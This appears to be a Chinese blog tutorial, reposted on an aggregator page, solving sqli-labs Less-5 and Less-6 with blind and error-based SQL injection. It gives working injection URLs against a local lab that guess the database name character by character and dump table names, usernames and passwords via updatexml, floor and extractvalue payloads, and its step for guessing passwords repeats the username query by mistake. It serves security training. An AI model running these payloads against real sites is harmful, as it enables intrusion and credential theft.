IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注 -> 正文阅读

[大数据]sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注

???????

目录

Less-5

Less-6


?何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显
到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注可以分为三类:
?????????基于布尔 SQL 盲注
?????????基于时间的 SQL 盲注
?????????基于报错的 SQL 盲注

关于注入的基础知识可以参考此篇文章:SQL盲注的简单分析 - linuxsec - 博客园

Less-5

源码片段:

从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了,所以我们不能利用上述less1-4的方法 。

说明把1'带入了数据库进行了查询,存在sql注入。?

?此处需要用报错注入。

方法1:

?1.判断数据库长度:

输入http://127.0.0.1/sqli/Less-5/?1' and length(database())=7--+时,报错:

?输入http://127.0.0.1/sqli/Less-5/?1' and length(database())=8--+时,返回正常:

?因此可以判断出数据库的长度为8.

2.判断数据库名:

需要从第一位开始猜:

输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),1)>'a'--+时,返回正常:

输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),1)<'z'--+时,返回正常:?

?当判断到s时,输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),1)='s'--+时,返回正常:

?可以推测出数据库名的第一个字母为s;

然后用同样的方法猜第二位:

输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),2)>'sa'--+时,返回正常:

?当输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),2)='se'--+时,返回正常:

?可以判断出数据名的前两个字符是se,对于这种报错注入没有什么好的办法,只能慢慢的一次一次的尝试,或是使用二分法对其进行测试,最终测试出数据库名为:security

3.判断数据库中的表名:

输入http://127.0.0.1/sqli/Less-5/?1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit?a,1)b,1))>n--+

a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数,利用这种方法可以判断出数据库中的所有表名,然后可以找到最有用的user表。

4.猜用户:

输入http://127.0.0.1/sqli/Less-5/?1'?and?ord(mid((select ifnull(cast(username as char),0x20)from?S. M?order by? id? limit?A,1),B,1))=N--+

其中S?为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。

5.猜密码:

输入http://127.0.0.1/sqli/Less-5/?1'?and ord(mid((select ifnull(cast(username as char),0x20)from?S.Morder by id limit?A,1),B,1))=N?--+

其中S?为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。

由此便可以猜解出所有的信息。

方法2

也可以通过直接报错来获取想要的信息:

????????报错注入的概念:
????????(1). 通过floor报错 and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符;
????????(2). 通过updatexml报错 and updatexml(1, payload,1)同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;

????????(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。

1.获取库名:

http://127.0.0.1/sqli/Less-5/?1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

?2.爆表名:

http://127.0.0.1/sqli/Less-5/?1'?union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+

3.爆用户名:

http://127.0.0.1/sqli/Less-5/?1'?union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

4.爆密码:

?http://127.0.0.1/sqli/Less-5/?1'??union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+

Less-6

Less-6?和第5关一样 只不过将单引号换成了双引号,因此可以参考第五关。

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-12-16 17:44:46  更:2021-12-16 17:46:21 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 11:56:05-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码